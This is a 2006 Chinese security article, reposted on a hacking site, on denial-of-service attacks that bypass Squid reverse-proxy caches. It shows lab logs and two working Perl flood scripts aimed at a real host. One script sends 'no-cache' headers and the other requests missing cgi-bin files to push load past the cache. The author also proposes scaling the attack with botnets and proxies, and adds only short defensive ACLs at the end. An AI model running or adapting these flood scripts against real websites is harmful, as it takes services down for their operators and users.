<P><FONT face=宋体 size=3>利用HTTP指令进行攻击 <BR>-Cache篇 <BR>Coolc <BR>Email: eanalysis AT gmail.com <BR>Homepage:blog.xfocus.net/coolc <BR>2006-6-7 <BR><BR>前言 <BR> Coolc早就有写此篇文章的打算,其实文中更多的为技巧而非<A class=wordstyle href="http://www.hackdos.com/" target=_blank><FONT color=#0000ff>技术</FONT></A>,就内容上看,在真正渗透攻击时造成的危害并非很大,但是这些内容体现了一种思路,就是从协议指令的思想去进一步挖掘<A class=wordstyle href="http://www.hackdos.com/" target=_blank><FONT color=#0000ff>漏洞</FONT></A>,进行可能的攻击,我想这才是这篇文章最有价值的地方吧。也希望拙作能给同样是从事<A class=wordstyle href="http://www.hackdos.com/" target=_blank><FONT color=#0000ff>网络</FONT></A><A class=wordstyle href="http://www.hackdos.com/" target=_blank><FONT color=#0000ff>安全</FONT></A>的朋友,带来一些灵感,也欢迎大家同我联系。 <BR><BR>内容 <BR><A class=wordstyle href="http://www.hackdos.com/" target=_blank><FONT color=#0000ff>技术</FONT></A>背景 <BR> 随着Web<A class=wordstyle href="http://www.hackdos.com/" target=_blank><FONT color=#0000ff>技术</FONT></A>越来越广泛的应用到我们的生活,Web应用的架构的设计者和开发者不得不面对这么一个问题,那就是Web不断增长的访问量和负载,随之提升性能的相关<A class=wordstyle href="http://www.hackdos.com/" target=_blank><FONT color=#0000ff>技术</FONT></A>应运而生,如DNS轮询、负载均衡、Cache<A class=wordstyle href="http://www.hackdos.com/" target=_blank><FONT color=#0000ff>技术</FONT></A>等等。如果有兴趣,大家不妨对大型网站进行一下抓包,可以发现很多网站都采用了squid反向代理,通过Squid的Cache提供高速Web响应。 <BR><BR>攻击原理 <BR> Cache机制不仅给服务器处理带来了很大程度的性能提升,一定程度上,也大大提升了Web服务提供商应对Get Flood的能力。一般常见Cache架构如下图: <BR><BR><BR>从上面的架构可以看出,用户对网站的访问,大多被分布的Cache服务器分担了,由于Cache服务器的数量以及Cache的良好处理吞吐性能,即便发生了Get Flood等攻击,此种机制也可以很好的自身消化掉攻击负载,并且即便单一Cache主机瘫痪也不会对整体Web服务造成影响。如图: <BR><BR><BR>通过架构分析,我们可以假设这样一种形势,如果攻击者可以穿过Cache,直接将负载压力传达到后台提供HTTP服务的服务器,将这台机器攻击瘫痪,那么前台的服务器也将因为Cache无法得到更新而服务受到影响,达到拒绝服务的效果。如下图所示: <BR><BR><BR>那么是否有方法可以达到上述效果呢?答案是肯定的,那就是通过HTTP指令来达到此种攻击。 <BR>HTTP协议(v1.1和v1.0)都提供了Cache处理字段,其中字段Cache-Control(v1.0中为Pragma),当这个字段的值为no-cache时,大多数cache<A class=wordstyle href="http://www.hackdos.com/" target=_blank><FONT color=#0000ff>软件</FONT></A>将不对请求作出响应,而直接将请求传递到后台服务器,利用这个指令的机制,我们就可以实现我们所要达到的攻击效果。 <BR><BR>效果验证 <BR>为了验证这种理论上的攻击形式,Coolc架设了简单的应用环境进行验证。整个实验环境架构如下: <BR><BR><BR>正常访问 <BR>而在正常情况下,Squid会在内存Cache中处理所有请求,可以发现大多数请求的压力根本无法到达Apache,而直接在Squid消化。如下所示,500个请求,只有一个到达了Apache,而这个访问,只是Squid为了到Apache拉取最初始的文件内容造成的。 <BR>root@coolc:~/squid-2.5.STABLE12#cat apache-host.example.com-access_log |wc -l <BR> 1 <BR>root@coolc:~/squid-2.5.STABLE12# cat squid_access.log |awk ’{print $4’}|uniq -c <BR>499 TCP_MEM_HIT/200 <BR><BR>指令绕过 <BR>当Squid在处理访问时,如果发现特殊的标志位后,其将会直接将请求向后转发,同事将在访问日志中记为一条TCP_CLIENT_REFRESH_MISS。通过下面试验,我发送了500个带特殊标志位的HTTP请求,直接越过了Cache,而将压力直接加载到后台,下面的结果我们验证了效果 <BR><BR>用Pragma: no-cache绕过 <BR>root@coolc:~/squid-2.5.STABLE12#cat apache-host.example.com-access_log |wc -l <BR> 500 <BR>root@coolc:~/squid-2.5.STABLE12# cat squid_access.log |awk ’{print $4’}|uniq -c <BR>500 TCP_CLIENT_REFRESH_MISS/200 <BR><BR>用Cache-Control:no-cache绕过 <BR>root@coolc:~/squid-2.5.STABLE12# cat apache-host.example.com-access_log |wc -l <BR> 500 <BR>root@coolc:~/squid-2.5.STABLE12# cat squid_access.log |awk ’{print $4’}|uniq -c <BR> 500 TCP_CLIENT_REFRESH_MISS/200 <BR><BR><BR><BR><BR>演示代码: <BR>use I:Socket; <BR>#$host=shift(@ARGV); <BR>$i=1; <BR>while ($i<500) { <BR> $i++; <BR> print "\n$i\n"; <BR> $remote = I:Socket::INET->new(Proto => "tcp", <BR> PeerPort => "80", <BR> #PeerAddr => "blog.xfocus.net" <BR> PeerAddr => "test.qq.com" <BR> )||die(print "cant’t connet $!"); <BR> $remote->autoflush(1); <BR> print $remote "GET /index.html HTTP/1.1\r\nAccept:image/gif image/x-xbitmap, image/jpeg,application/x-shockwave-flash\r\nReferer: <A href="http://www.google.com/" target=_blank><FONT color=#0000ff>http://www.google.com</FONT></A>\r\nAccept:-Language: zh-cn\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; </FONT><A class=wordstyle href="http://www.hack58.net/" target=_blank><U><FONT face=宋体 color=#0000ff size=3>Windows</FONT></U></A><FONT face=宋体 size=3> NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1)\r\nCache-Control:no-cache\r\nHOST:test.qq.com\n\n"; <BR> #print <$remote>; <BR> close $remote; <BR> #sleep 1; <BR> } <BR><BR>实际应用 <BR>利用配置问题 <BR>在实际应用中的攻击,也许对方网管会采取作Squid的ACL方法来屏蔽此种攻击,但是实际环境中的攻击种类和方法会更加多样化,例如利用Squid默认配置中存在的问题,一样可以达到灵巧利用此问题,并具有一定隐蔽性。 <BR><BR>场景某网管在Squid通过ACL做了no-cache过滤,使得加杂no-cahce的指令无法穿过,但是一样遭到了Cache拒绝服务攻击。 <BR><BR>攻击原理 <BR>Squid的处理方式当返回为404、403时,通过cache处理减轻后台Web<A class=wordstyle href="http://www.hackdos.com/" target=_blank><FONT color=#0000ff>系统</FONT></A>的负担。 <BR>通过<A class=wordstyle href="http://www.hackdos.com/" target=_blank><FONT color=#0000ff>程序</FONT></A>用GET方式访问500次不存在的文件“index.html。” <BR>查看squid的日志,cache住了绝大多数请求。 <BR>root@coolc:~/squid-2.5.STABLE12# cat squid_access.log |wc -l <BR> 499 <BR>root@coolc:~/squid-2.5.STABLE12# cat squid_access.log |awk ’{print $4’}|uniq -c <BR>499 TCP_NEGATIVE_HIT/404 <BR>root@coolc:~/squid-2.5.STABLE12# cat apache-access_log |wc -l <BR>0 <BR><BR>而实际上传到到Apache上的压力为0,也就是几乎没有压力。TCP_NEGATIVE_HIT解决了大多数的负载,导致攻击压力全部不能施加在后台的Web服务器。 <BR>从Squid的配置文件里可以看到,Squid对于特殊错误的返回也是做了处理的,一样做了Cache。 <BR><BR># TAG: negative_ttl time-units <BR># Time-to-Live (TTL) for failed requests. Certain types of <BR># failures (such as "connection refused" and "404 Not Found") are <BR># negatively-cached for a configurable amount of time. The <BR># default is 5 minutes. Note that this is different from <BR># negative caching of DNS lookups. <BR><BR><BR>是否有方式可以绕过cache机制和ACL限制,将类似404压力施加到服务器上?答案时肯定的,那就是通过访问cgi-bin目录下的文件。 <BR><BR>通过执行攻击代码我们同样实现了对后台主机的攻击,穿透了Cache。 <BR>root@coolc:~/squid-2.5.STABLE12# cat squid_access.log |awk ’{print $4’}|uniq -c <BR>499 TCP_MISS/404 <BR><BR>root@coolc:~/squid-2.5.STABLE12# cat apache-access_log |wc -l <BR>499 <BR>从日志中可以发现如下痕迹。 <BR>172.16.10.1 - - [08/Apr/2006:16:33:50 -0800] "GET /cgi-bin/index.html1 HTTP/1.0" 404 298 <BR>172.16.10.1 - - [08/Apr/2006:16:33:50 -0800] "GET /cgi-bin/index.html1 HTTP/1.0" 404 298 <BR>172.16.10.1 - - [08/Apr/2006:16:33:50 -0800] "GET /cgi-bin/index.html1 HTTP/1.0" 404 298 <BR>172.16.10.1 - - [08/Apr/2006:16:33:50 -0800] "GET /cgi-bin/index.html1 HTTP/1.0" 404 298 <BR>实际上造成上述原因就死活因为默认配置中对于cgi-bin目录做了特殊处理,导致对于其放开了Cache的限制。 <BR># TAG: hierarchy_stoplist <BR># A list of words which, if found in a URL, cause the object to <BR># be handled directly by this cache. In other words, use this <BR># to not query neighbor caches for certain objects. You may <BR># list this option multiple times. Note: never_direct overrides <BR># this option. <BR>#We recommend you to use at least the following line. <BR>hierarchy_stoplist cgi-bin ? <BR># TAG: no_cache <BR># A list of ACL elements which, if matched, cause the request to <BR># not be satisfied from the cache and the reply to not be cached. <BR># In other words, use this to force certain objects to never be cached. <BR># <BR># You must use the word ’DENY’ to indicate the ACL names which should <BR># NOT be cached. <BR># <BR>#We recommend you to use the following two lines. <BR>acl QUERY urlpath_regex cgi-bin \? <BR>no_cache deny QUERY <BR><BR>攻击代码: <BR>use I:Socket; <BR>#$host=shift(@ARGV); <BR>$i=1; <BR>while ($i<500) { <BR> $i++; <BR> print "\n$i\n"; <BR> $remote = I:Socket::INET->new(Proto => "tcp", <BR> PeerPort => "80", <BR> #PeerAddr => "blog.xfocus.net" <BR> PeerAddr => "test.qq.com" <BR> )||die(print "cant’t connet $!"); <BR> $remote->autoflush(1); <BR> print $remote "GET /cgi-bin/index.html1 HTTP/1.1\r\nAccept:image/gif image/x-xbitmap, image/jpeg,application/x-shockwave-flash\r\nReferer: <A href="http://www.google.com/" target=_blank><FONT color=#0000ff>http://www.google.com</FONT></A>\r\nAccept:-Language: zh-cn\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; </FONT><A class=wordstyle href="http://www.hack58.net/" target=_blank><U><FONT face=宋体 color=#0000ff size=3>Windows</FONT></U></A><FONT face=宋体 size=3> NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1)\r\nHOST:test.qq.com\n\n"; <BR> #print <$remote>; <BR> close $remote; <BR> #sleep 1; <BR> } <BR><BR><BR>扩展思路 <BR> 当然目前这种攻击方式还仅仅是理论上的攻击,比如攻击代码单线程,攻击IP和特征明显。很容易被识别并作ACL过滤。但是当我们扩展思路,如果我们利用大量的botnet或代理,变化所访问的文件和HTTP指令内容进行攻击,那么造成的攻击将会更加有威力,并且难以识别。同时由于攻击负责将直接加载于后台,那么作为防御方的主机资源优势也大打折扣。 <BR><BR>防御方法 <BR> 最简单有效的方法无非是通过SQUID的配置中加载ACL禁用no-cache指令,不过此方法往往只在静态页面的服务器比较容易实现。 <BR><BR>如: <BR>acl LocalServers dst 192.168.8.0/24 <BR>no_cache deny LocalServers <BR>总结 <BR> 实际上HTTP指令的攻击不仅仅与此,本身HTTP协议的扩展协议指令一样有很多有待挖掘的地方,对于此种攻击思路,虽然Coolc目前还没看到相关的描述,但是个人感觉也许在地下组织中,这些思路早已出现,甚至已经有了成熟的工具,coolc在这里全当抛砖引玉,希望对<A class=wordstyle href="http://www.hackdos.com/" target=_blank><FONT color=#0000ff>网络</FONT></A><A class=wordstyle href="http://www.hackdos.com/" target=_blank><FONT color=#0000ff>安全</FONT></A>有兴趣的同仁可以同我联系,共同讨论研究。</FONT></P> |